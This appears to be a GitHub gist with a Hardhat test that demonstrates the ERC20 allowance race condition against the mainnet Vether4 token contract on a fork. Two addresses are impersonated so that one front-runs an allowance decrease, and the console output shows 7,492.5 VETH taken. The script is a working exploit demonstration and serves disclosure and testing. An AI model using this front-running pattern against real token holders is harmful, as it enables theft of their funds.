Skip to content

Instantly share code, notes, and snippets.

@toastedsteaksandwich
Created April 26, 2021 19:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save toastedsteaksandwich/db32472ae5c19c2eb188f07abddd02fa to your computer and use it in GitHub Desktop.
Save toastedsteaksandwich/db32472ae5c19c2eb188f07abddd02fa to your computer and use it in GitHub Desktop.
ERC20 race condition for allowances
const { expect } = require("chai")
const { waffle } = require("hardhat")
let provider = ethers.getDefaultProvider();
describe("allowance race condition", function () {
let mainnetVether;
beforeEach(async () => {
mainnetVether = await ethers.getContractAt("Vether4", "0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279");
})
it("allowance race condition", async function () {
const alice = '0x273ba31c706b9d9fdae1fd999183bfa865895be9';
const bob = '0x159e4e57ed13176a69693c987917651c552d2575';
const bobBeforeBal = await mainnetVether.balanceOf(bob);
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [alice]}
);
//approve 5000 VETH
const aliceSigner = await ethers.provider.getSigner(alice);
await mainnetVether.connect(aliceSigner).approve(bob, '5000000000000000000000'.toString());
await hre.network.provider.request({
method: "hardhat_stopImpersonatingAccount",
params: [alice]}
);
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [bob]}
);
//at this point, alice broadcasts that she wants to lower the allowance to 2500 VETH
//so bob sees this, and front runs the tx to withdraw the full balance
const bobSigner = await ethers.provider.getSigner(bob);
await mainnetVether.connect(bobSigner).transferFrom(alice, bob, '5000000000000000000000'.toString());
await hre.network.provider.request({
method: "hardhat_stopImpersonatingAccount",
params: [bob]}
);
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [alice]}
);
//alice's decreased allowance confirms
await mainnetVether.connect(aliceSigner).approve(bob, '2500000000000000000000'.toString());
await hre.network.provider.request({
method: "hardhat_stopImpersonatingAccount",
params: [alice]}
);
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [bob]}
);
//bob transfers the new allowance
await mainnetVether.connect(bobSigner).transferFrom(alice, bob, '2500000000000000000000'.toString());
const bobAfterBal = await mainnetVether.balanceOf(bob);
console.log("after a max approval of 5000 VETH and an attempt to decrease it, bob received: " + (bobAfterBal-bobBeforeBal)/10**18 + " VETH");
});
})
allowance race condition
after a max approval of 5000 VETH and an attempt to decrease it, bob received: 7492.5 VETH
✓ allowance race condition (207ms)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment